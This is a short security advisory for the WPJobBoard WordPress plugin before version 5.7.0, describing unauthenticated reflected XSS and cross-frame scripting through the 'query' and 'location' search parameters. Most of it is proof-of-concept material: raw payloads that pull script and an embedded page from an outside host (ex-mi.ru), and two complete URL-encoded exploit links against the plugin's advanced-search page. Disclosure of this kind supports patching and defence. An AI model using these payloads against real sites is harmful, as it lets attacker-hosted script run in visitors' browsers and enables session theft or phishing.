WPJobBoard < 5.7.0 - Unauthenticated Reflected XSS & XFS

Description

Unauthenticated Reflected XSS & XFS vulnerabilities were discovered in the WPJobBoard plugin v5.6.4 for WordPress.

Vulnerable parameters: query, location.

Proof of Concept

Payloads:

"><script src="https://ex-mi.ru/payload/a2r.js"></script>

"><embed src="https://ex-mi.ru/payload/xfsii.html">

PoC Unauthenticated Reflected XSS:

https://example.com/resumes/advanced-search/?query=%22%3E%3Cscript+src%3D%22https%3A%2F%2Fex-mi.ru%2Fpayload%2Fa.js%22%3E%3C%2Fscript%3E&location=%22%3E%3Cscript+src%3D%22https%3A%2F%2Fex-mi.ru%2Fpayload%2Fa2r.js%22%3E%3C%2Fscript%3E&posted=1&results=1

PoC Unauthenticated XFS:

https://example.com/resumes/advanced-search/?query=%22%3E%3Cembed+src%3D%22https%3A%2F%2Fex-mi.ru%2Fpayload%2Fxfsii.html%22%3E&location=%22%3E%3Cembed+src%3D%22https%3A%2F%2Fex-mi.ru%2Fpayload%2Fxfsii.html%22%3E&posted=1&results=1